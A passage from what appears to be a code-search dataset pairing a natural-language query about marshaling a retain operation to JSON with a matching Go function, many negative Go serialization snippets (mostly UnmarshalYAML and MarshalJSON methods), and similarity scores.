objects\\n\\t\\t\\tcur[dk] = vo\\n\\t\\t}\\n\\t}\\n\\treturn\\n}\",\n \"func (w *BuildWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar err error\\n\\tvar buildString string\\n\\tif err = unmarshal(&buildString); err == nil {\\n\\t\\t//str := command\\n\\t\\t//*w = CommandWrapper(str)\\n\\t\\tw.BuildString = buildString\\n\\t\\treturn nil\\n\\t}\\n\\t// if err != nil {\\n\\t// \\treturn err\\n\\t// }\\n\\t// return json.Unmarshal([]byte(str), w)\\n\\n\\tvar buildObject map[string]string\\n\\tif err = unmarshal(&buildObject); err == nil {\\n\\t\\t//str := command\\n\\t\\t//*w = CommandWrapper(commandArray[0])\\n\\t\\tw.BuildObject = buildObject\\n\\t\\treturn nil\\n\\t}\\n\\treturn nil //should be an error , something like UNhhandledError\\n}\",\n \"func yamlDecode(ctx *pulumi.Context, text string, opts ...pulumi.InvokeOption) ([]map[string]interface{}, error) {\\n\\targs := struct {\\n\\t\\tText string `pulumi:\\\"text\\\"`\\n\\t}{Text: text}\\n\\tvar ret struct {\\n\\t\\tResult []map[string]interface{} `pulumi:\\\"result\\\"`\\n\\t}\\n\\n\\tif err := ctx.Invoke(\\\"kubernetes:yaml:decode\\\", &args, &ret, opts...); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn ret.Result, nil\\n}\",\n \"func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultConfig\\n\\tc.LogsLabels = make(map[string]string)\\n\\ttype plain Config\\n\\treturn unmarshal((*plain)(c))\\n}\",\n \"func (act *Action) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t// creating anonimus struct to avoid recursion\\n\\tvar a struct {\\n\\t\\tName ActionType `yaml:\\\"type\\\"`\\n\\t\\tTimeout time.Duration `yaml:\\\"timeout,omitempty\\\"`\\n\\t\\tOnFail onFailAction `yaml:\\\"on-fail,omitempty\\\"`\\n\\t\\tInterval time.Duration `yaml:\\\"interval,omitempty\\\"`\\n\\t\\tEnabled bool `yaml:\\\"enabled,omitempty\\\"`\\n\\t\\tRecordPending bool `yaml:\\\"record-pending,omitempty\\\"`\\n\\t\\tRole actionRole `yaml:\\\"role,omitempty\\\"`\\n\\t}\\n\\t// setting default\\n\\ta.Name = \\\"defaultName\\\"\\n\\ta.Timeout = 20 * time.Second\\n\\ta.OnFail = of_ignore\\n\\ta.Interval = 20 * time.Second\\n\\ta.Enabled = true\\n\\ta.RecordPending = false\\n\\ta.Role = ar_none\\n\\tif err := unmarshal(&a); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// copying into aim struct fields\\n\\t*act = Action{a.Name, a.Timeout, a.OnFail, a.Interval,\\n\\t\\ta.Enabled, a.RecordPending, a.Role, nil}\\n\\treturn nil\\n}\",\n \"func parseYaml(yaml string) (*UnstructuredManifest, error) {\\n\\trawYamlParsed := &map[string]interface{}{}\\n\\terr := yamlParser.Unmarshal([]byte(yaml), rawYamlParsed)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\trawJSON, err := json.Marshal(dyno.ConvertMapI2MapS(*rawYamlParsed))\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tunstruct := meta_v1_unstruct.Unstructured{}\\n\\terr = unstruct.UnmarshalJSON(rawJSON)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tmanifest := &UnstructuredManifest{\\n\\t\\tunstruct: &unstruct,\\n\\t}\\n\\n\\tlog.Printf(\\\"[DEBUG] %s Unstructed YAML: %+v\\\\n\\\", manifest, manifest.unstruct.UnstructuredContent())\\n\\treturn manifest, nil\\n}\",\n \"func (r *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar value float64\\n\\tif err := unmarshal(&value); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tparsed := Rate(value)\\n\\tif err := parsed.Validate(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*r = parsed\\n\\n\\treturn nil\\n}\",\n \"func (s *TestFileParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain TestFileParams\\n\\tif err := unmarshal((*plain)(s)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif s.Size == 0 {\\n\\t\\treturn errors.New(\\\"File 'size' must be defined\\\")\\n\\t}\\n\\tif s.HistogramBucketPush == nil {\\n\\t\\treturn errors.New(\\\"File 'histogram_bucket_push' must be defined\\\")\\n\\t}\\n\\tif s.HistogramBucketPull == nil {\\n\\t\\treturn errors.New(\\\"File 'histogram_bucket_pull' must be defined\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *Count) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif err := unmarshal(&c.AdvancedCount); err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase *yaml.TypeError:\\n\\t\\t\\tbreak\\n\\t\\tdefault:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif err := c.AdvancedCount.IsValid(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif !c.AdvancedCount.IsEmpty() {\\n\\t\\t// Successfully unmarshalled AdvancedCount fields, return\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif err := unmarshal(&c.Value); err != nil {\\n\\t\\treturn errUnmarshalCountOpts\\n\\t}\\n\\treturn nil\\n}\",\n \"func (p *PortMapping) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype Alias PortMapping\\n\\taux := &struct {\\n\\t\\tProtocol string `json:\\\"protocol\\\"`\\n\\t\\t*Alias\\n\\t}{\\n\\t\\tAlias: (*Alias)(p),\\n\\t}\\n\\tif err := unmarshal(&aux); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif aux.Protocol != \\\"\\\" {\\n\\t\\tval, ok := PortMappingProtocolNameToValue[strings.ToUpper(aux.Protocol)]\\n\\t\\tif !ok {\\n\\t\\t\\treturn fmt.Errorf(\\\"unknown protocol value: %s\\\", aux.Protocol)\\n\\t\\t}\\n\\t\\tp.Protocol = PortMappingProtocol(val)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *String) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate string\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ts.set(candidate)\\n\\treturn nil\\n}\",\n \"func (c *Scenario) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype C Scenario\\n\\tnewConfig := (*C)(c)\\n\\tif err := unmarshal(&newConfig); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif c.Database == nil {\\n\\t\\treturn fmt.Errorf(\\\"Database must not be empty\\\")\\n\\t}\\n\\tif c.Collection == nil {\\n\\t\\treturn fmt.Errorf(\\\"Collection must not be empty\\\")\\n\\t}\\n\\tswitch p := c.Parallel; {\\n\\tcase p == nil:\\n\\t\\tc.Parallel = Int(1)\\n\\tcase *p < 1:\\n\\t\\treturn fmt.Errorf(\\\"Parallel must be greater than or equal to 1\\\")\\n\\tdefault:\\n\\t}\\n\\tswitch s := c.BufferSize; {\\n\\tcase s == nil:\\n\\t\\tc.BufferSize = Int(1000)\\n\\tcase *s < 1:\\n\\t\\treturn fmt.Errorf(\\\"BufferSize must be greater than or equal to 1\\\")\\n\\tdefault:\\n\\t}\\n\\tswitch s := c.Repeat; {\\n\\tcase s == nil:\\n\\t\\tc.Repeat = Int(1)\\n\\tcase *s < 0:\\n\\t\\treturn fmt.Errorf(\\\"Repeat must be greater than or equal to 0\\\")\\n\\tdefault:\\n\\t}\\n\\tif len(c.Queries) == 0 {\\n\\t\\treturn fmt.Errorf(\\\"Queries must not be empty\\\")\\n\\t}\\n\\treturn nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.72596294","0.7206266","0.7052583","0.6882109","0.68818444","0.6855969","0.68410236","0.6811011","0.6792756","0.67401934","0.67381245","0.6730914","0.6726009","0.66897005","0.66872424","0.668519","0.66826296","0.6677709","0.66672146","0.6664019","0.664421","0.6641217","0.6638953","0.6638953","0.6625766","0.66163605","0.6581915","0.6581915","0.6555329","0.6551487","0.65459627","0.65355563","0.6534013","0.65080786","0.65027356","0.64906853","0.6485596","0.64825106","0.64816064","0.6480315","0.6465777","0.6459244","0.6453594","0.64490193","0.64485574","0.643024","0.64282745","0.64272875","0.64261615","0.6410179","0.6404087","0.638181","0.6379086","0.63682944","0.6349897","0.6346437","0.63377273","0.63320225","0.63301754","0.6317527","0.6291044","0.6285449","0.6278369","0.6272178","0.627074","0.6260449","0.62552285","0.6255049","0.62464213","0.62421924","0.6238234","0.6236691","0.6235515","0.6234782","0.62297136","0.62225854","0.6210233","0.6206304","0.62055457","0.6204811","0.6204353","0.6200367","0.61942106","0.6190769","0.6188932","0.61887175","0.6186317","0.618497","0.6178203","0.6166287","0.6165624","0.61541194","0.61506665","0.61441255","0.6130678","0.61148494","0.61025584","0.6101578","0.60979575","0.6097953"],"string":"[\n \"0.72596294\",\n \"0.7206266\",\n \"0.7052583\",\n \"0.6882109\",\n \"0.68818444\",\n \"0.6855969\",\n \"0.68410236\",\n \"0.6811011\",\n \"0.6792756\",\n \"0.67401934\",\n \"0.67381245\",\n \"0.6730914\",\n \"0.6726009\",\n \"0.66897005\",\n \"0.66872424\",\n \"0.668519\",\n \"0.66826296\",\n \"0.6677709\",\n \"0.66672146\",\n \"0.6664019\",\n \"0.664421\",\n \"0.6641217\",\n \"0.6638953\",\n \"0.6638953\",\n \"0.6625766\",\n \"0.66163605\",\n \"0.6581915\",\n \"0.6581915\",\n \"0.6555329\",\n \"0.6551487\",\n \"0.65459627\",\n \"0.65355563\",\n \"0.6534013\",\n \"0.65080786\",\n \"0.65027356\",\n \"0.64906853\",\n \"0.6485596\",\n \"0.64825106\",\n \"0.64816064\",\n \"0.6480315\",\n \"0.6465777\",\n \"0.6459244\",\n \"0.6453594\",\n \"0.64490193\",\n \"0.64485574\",\n \"0.643024\",\n \"0.64282745\",\n \"0.64272875\",\n \"0.64261615\",\n \"0.6410179\",\n \"0.6404087\",\n \"0.638181\",\n \"0.6379086\",\n \"0.63682944\",\n \"0.6349897\",\n \"0.6346437\",\n \"0.63377273\",\n \"0.63320225\",\n \"0.63301754\",\n \"0.6317527\",\n \"0.6291044\",\n \"0.6285449\",\n \"0.6278369\",\n \"0.6272178\",\n \"0.627074\",\n \"0.6260449\",\n \"0.62552285\",\n \"0.6255049\",\n \"0.62464213\",\n \"0.62421924\",\n \"0.6238234\",\n \"0.6236691\",\n \"0.6235515\",\n \"0.6234782\",\n \"0.62297136\",\n \"0.62225854\",\n \"0.6210233\",\n \"0.6206304\",\n \"0.62055457\",\n \"0.6204811\",\n \"0.6204353\",\n \"0.6200367\",\n \"0.61942106\",\n \"0.6190769\",\n \"0.6188932\",\n \"0.61887175\",\n \"0.6186317\",\n \"0.618497\",\n \"0.6178203\",\n \"0.6166287\",\n \"0.6165624\",\n \"0.61541194\",\n \"0.61506665\",\n \"0.61441255\",\n \"0.6130678\",\n \"0.61148494\",\n \"0.61025584\",\n \"0.6101578\",\n \"0.60979575\",\n \"0.6097953\"\n]"},"document_score":{"kind":"string","value":"0.77694046"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106180,"cells":{"query":{"kind":"string","value":"MarshalJSON will marshal a retain operation into JSON"},"document":{"kind":"string","value":"func (op OpRetain) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(op.Fields)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (op *OpRetain) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Fields)\n}","func (op *Operation) Marshal() ([]byte, error) {\n\treturn json.Marshal(op)\n}","func (o Operation)MarshalJSON() ([]byte, error){\n objectMap := make(map[string]interface{})\n return json.Marshal(objectMap)\n }","func (m Lock) MarshalJSON() ([]byte, error) {\n\tvar _parts [][]byte\n\n\taO0, err := swag.WriteJSON(m.Reference)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_parts = append(_parts, aO0)\n\n\tvar data struct {\n\t\tCreatedAt strfmt.DateTime `json:\"created_at,omitempty\"`\n\n\t\tCreatedBy *UserReference `json:\"created_by,omitempty\"`\n\n\t\tExpiredAt strfmt.DateTime `json:\"expired_at,omitempty\"`\n\n\t\tIsDownloadPrevented bool `json:\"is_download_prevented,omitempty\"`\n\t}\n\n\tdata.CreatedAt = m.CreatedAt\n\n\tdata.CreatedBy = m.CreatedBy\n\n\tdata.ExpiredAt = m.ExpiredAt\n\n\tdata.IsDownloadPrevented = m.IsDownloadPrevented\n\n\tjsonData, err := swag.WriteJSON(data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_parts = append(_parts, jsonData)\n\n\treturn swag.ConcatJSON(_parts...), nil\n}","func (m StorageReplicationBlackout) MarshalJSON() ([]byte, error) {\n\t_parts := make([][]byte, 0, 1)\n\n\tvar dataAO0 struct {\n\t\tEnd string `json:\"End,omitempty\"`\n\n\t\tStart string `json:\"Start,omitempty\"`\n\t}\n\n\tdataAO0.End = m.End\n\n\tdataAO0.Start = m.Start\n\n\tjsonDataAO0, errAO0 := swag.WriteJSON(dataAO0)\n\tif errAO0 != nil {\n\t\treturn nil, errAO0\n\t}\n\t_parts = append(_parts, jsonDataAO0)\n\n\treturn swag.ConcatJSON(_parts...), nil\n}","func (v EventBackForwardCacheNotUsed) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage87(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (v cancelInvocationMessage) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson2802b09fEncodeGithubComPhilippseithSignalr7(w, v)\n}","func (E ERC20Lock) Marshal() ([]byte, error) {\n\treturn json.Marshal(E)\n}","func (v BackForwardCacheNotRestoredExplanation) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage102(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (obj ProductDiscountKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias ProductDiscountKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"product-discount\", Alias: (*Alias)(&obj)})\n}","func handleKeep(w http.ResponseWriter, r *http.Request) {\n json.NewEncoder(w).Encode(keeps)\n}","func (a *RemoveScriptToEvaluateOnNewDocumentArgs) MarshalJSON() ([]byte, error) {\n\ttype Copy RemoveScriptToEvaluateOnNewDocumentArgs\n\tc := &Copy{}\n\t*c = Copy(*a)\n\treturn json.Marshal(&c)\n}","func (c *Container) MarshalJSON() ([]byte, error) {\n\tc.lock.RLock()\n\tdefer c.lock.RUnlock()\n\n\treturn json.Marshal((*jContainer)(c))\n}","func (m CachePayload) Marshal() ([]byte, error) {\n\treturn m.MarshalJSON()\n}","func (obj CartDiscountKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias CartDiscountKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"cart-discount\", Alias: (*Alias)(&obj)})\n}","func (sc *Contract) Marshal() ([]byte, error) {\n\treturn json.Marshal(sc)\n}","func (j *WorkerCreateOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}","func (j *JSON) Marshal(target interface{}) (output interface{}, err error) {\n\treturn jsonEncoding.Marshal(target)\n}","func (v BaseOpSubscription) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson25363b2dEncodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi122(w, v)\n}","func (a *RemoveScriptToEvaluateOnLoadArgs) MarshalJSON() ([]byte, error) {\n\ttype Copy RemoveScriptToEvaluateOnLoadArgs\n\tc := &Copy{}\n\t*c = Copy(*a)\n\treturn json.Marshal(&c)\n}","func (app *adapter) ToJSON(accesses Accesses) *JSONAccesses {\n\treturn createJSONAccessesFromAccesses(accesses)\n}","func (v VPNClientRevokedCertificate) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"etag\", v.Etag)\n\tpopulate(objectMap, \"id\", v.ID)\n\tpopulate(objectMap, \"name\", v.Name)\n\tpopulate(objectMap, \"properties\", v.Properties)\n\treturn json.Marshal(objectMap)\n}","func (s Signature) MarshalJSON() ([]byte, error) {\n return json.Marshal(s[:])\n}","func (diff Diff) MarshalJSON() ([]byte, error) {\n var o map[string] interface{} = make(map[string] interface{})\n o[\"op\"] = diff.Operation\n o[\"id\"] = diff.Id\n o[\"type\"] = diff.Type\n o[\"data\"] = string(diff.Data)\n if diff.Attr.Key != \"\" {\n var a map[string] interface{} = make(map[string] interface{})\n a[\"key\"] = diff.Attr.Key\n if diff.Attr.Namespace != \"\" {\n a[\"ns\"] = diff.Attr.Namespace\n }\n if diff.Attr.Val != \"\" {\n a[\"val\"] = diff.Attr.Val\n }\n o[\"attr\"] = a\n }\n json, err := json.Marshal(&o)\n if err != nil {\n return nil, err\n }\n return json, nil\n}","func (obj DiscountCodeKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias DiscountCodeKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"discount-code\", Alias: (*Alias)(&obj)})\n}","func (m CachePayload) MarshalJSON() ([]byte, error) {\n\tif m == nil {\n\t\treturn []byte(\"null\"), nil\n\t}\n\treturn m, nil\n}","func (obj StateKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias StateKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"state\", Alias: (*Alias)(&obj)})\n}","func (enc *jsonEncoder) Free() {\n\tjsonPool.Put(enc)\n}","func (obj PaymentKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias PaymentKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"payment\", Alias: (*Alias)(&obj)})\n}","func (obj CartRemoveDiscountCodeAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemoveDiscountCodeAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removeDiscountCode\", Alias: (*Alias)(&obj)})\n}","func (a *CaptureSnapshotArgs) MarshalJSON() ([]byte, error) {\n\ttype Copy CaptureSnapshotArgs\n\tc := &Copy{}\n\t*c = Copy(*a)\n\treturn json.Marshal(&c)\n}","func (obj StoreKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias StoreKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"store\", Alias: (*Alias)(&obj)})\n}","func (s *Operation) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(*s)\n}","func (e ExpressRouteCircuitReference) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", e.ID)\n\treturn json.Marshal(objectMap)\n}","func (inc Incident) IncidentToJSON() ([]byte, error) {\n\treturn json.Marshal(inc)\n}","func (r *DefaultObjectAccessControl) marshal(c *Client) ([]byte, error) {\n\tm, err := expandDefaultObjectAccessControl(c, r)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error marshalling DefaultObjectAccessControl: %w\", err)\n\t}\n\n\treturn json.Marshal(m)\n}","func (obj CartRecalculateAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRecalculateAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"recalculate\", Alias: (*Alias)(&obj)})\n}","func (this *K8SResourceOverlayPatch) MarshalJSON() ([]byte, error) {\n\tstr, err := CommonMarshaler.MarshalToString(this)\n\treturn []byte(str), err\n}","func (j *CreateNhAssetOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}","func (a *CloseArgs) MarshalJSON() ([]byte, error) {\n\ttype Copy CloseArgs\n\tc := &Copy{}\n\t*c = Copy(*a)\n\treturn json.Marshal(&c)\n}","func JSONMarshal(m JSONMarshaller) OptionFunc {\n\tif m == nil {\n\t\tm = NewJSONEncoder()\n\t}\n\treturn func(c *Currency) OptionFunc {\n\t\tprevious := c.jm\n\t\tc.jm = m\n\t\treturn JSONMarshal(previous)\n\t}\n}","func (obj PriceKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias PriceKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"price\", Alias: (*Alias)(&obj)})\n}","func (j *ProposalUpdateOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}","func (obj CartUnfreezeCartAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartUnfreezeCartAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"unfreezeCart\", Alias: (*Alias)(&obj)})\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\treturn json.Marshal(objectMap)\n}","func (j *ModifyAckDeadlineRequest) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}","func newJSONEncoder() *jsonEncoder {\n\tenc := jsonPool.Get().(*jsonEncoder)\n\tenc.truncate()\n\treturn enc\n}","func (cspbo CheckSequencePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcspbo.Kind = KindCheckSequence\n\tobjectMap := make(map[string]interface{})\n\tif cspbo.SequenceNumber != nil {\n\t\tobjectMap[\"SequenceNumber\"] = cspbo.SequenceNumber\n\t}\n\tif cspbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cspbo.PropertyName\n\t}\n\tif cspbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cspbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (o Operations) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif o.NextLink != nil {\n\t\tobjectMap[\"nextLink\"] = o.NextLink\n\t}\n\treturn json.Marshal(objectMap)\n}","func (obj ProductKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias ProductKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"product\", Alias: (*Alias)(&obj)})\n}","func (obj CartRemovePaymentAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemovePaymentAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removePayment\", Alias: (*Alias)(&obj)})\n}","func BenchmarkRpcLeaseEncodeJSON(b *testing.B) {\n\tbenchmarkRpcLeaseEncode(b,\n\t\tencodeLeaseRequestJson, encodeLeaseReplyJson)\n}","func (m ManagedProxyResource) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"expiresOn\", m.ExpiresOn)\n\tpopulate(objectMap, \"proxy\", m.Proxy)\n\treturn json.Marshal(objectMap)\n}","func (v Commit) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonD2b7633eEncodeGithubComTovarischSuhovPipelineManagerInternalPkgGitlabModels2(w, v)\n}","func (dpbo DeletePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tdpbo.Kind = KindDelete\n\tobjectMap := make(map[string]interface{})\n\tif dpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = dpbo.PropertyName\n\t}\n\tif dpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = dpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func Marshal(p Payload) ([]byte, error) {\n\treturn json.Marshal(p)\n}","func (obj CartChangeLineItemQuantityAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartChangeLineItemQuantityAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"changeLineItemQuantity\", Alias: (*Alias)(&obj)})\n}","func (v EventContextDestroyed) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoWebaudio2(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (o *A_2) SerializeJSON() ([]byte, error) {\r\n\treturn json.Marshal(o)\r\n}","func (tr TrackedResource)MarshalJSON() ([]byte, error){\n objectMap := make(map[string]interface{})\n if(tr.Tags != nil) {\n objectMap[\"tags\"] = tr.Tags\n }\n if(tr.Location != nil) {\n objectMap[\"location\"] = tr.Location\n }\n return json.Marshal(objectMap)\n }","func (obj *cancel) MarshalJSON() ([]byte, error) {\n\tins := createJSONCancelFromCancel(obj)\n\treturn json.Marshal(ins)\n}","func (v PlantainerShadowStateSt) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson5bd79fa1EncodeMevericcoreMcplantainer3(w, v)\n}","func (e EndpointAccessResource) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"relay\", e.Relay)\n\treturn json.Marshal(objectMap)\n}","func (obj CartSetDeleteDaysAfterLastModificationAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartSetDeleteDaysAfterLastModificationAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"setDeleteDaysAfterLastModification\", Alias: (*Alias)(&obj)})\n}","func (v cancelInvocationMessage) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson2802b09fEncodeGithubComPhilippseithSignalr7(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (v BackForwardCacheNotRestoredExplanationTree) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage101(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (c ContainerPropertiesInstanceView) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"currentState\", c.CurrentState)\n\tpopulate(objectMap, \"events\", c.Events)\n\tpopulate(objectMap, \"previousState\", c.PreviousState)\n\tpopulate(objectMap, \"restartCount\", c.RestartCount)\n\treturn json.Marshal(objectMap)\n}","func (r *Interconnect) marshal(c *Client) ([]byte, error) {\n\tm, err := expandInterconnect(c, r)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error marshalling Interconnect: %w\", err)\n\t}\n\n\treturn json.Marshal(m)\n}","func (obj CartKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias CartKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"cart\", Alias: (*Alias)(&obj)})\n}","func (c *Counter) MarshalJSON() ([]byte, error) {\n\trate := c.ComputeRate()\n\treturn ([]byte(\n\t\tfmt.Sprintf(`{\"current\": %d, \"rate\": %f}`, c.Get(), rate))), nil\n}","func (v BaseOpSubscription) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson25363b2dEncodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi122(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (c *Counter) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(c.value)\n}","func (a *ClearCompilationCacheArgs) MarshalJSON() ([]byte, error) {\n\ttype Copy ClearCompilationCacheArgs\n\tc := &Copy{}\n\t*c = Copy(*a)\n\treturn json.Marshal(&c)\n}","func (l LiveEventPreviewAccessControl) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"ip\", l.IP)\n\treturn json.Marshal(objectMap)\n}","func (obj CategoryKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias CategoryKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"category\", Alias: (*Alias)(&obj)})\n}","func (v RemoveSymbolFromWatchlistRequest) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson3e8ab7adEncodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(w, v)\n}","func (v VirtualNetworkConnectionGatewayReference) MarshalJSON() ([]byte, error) 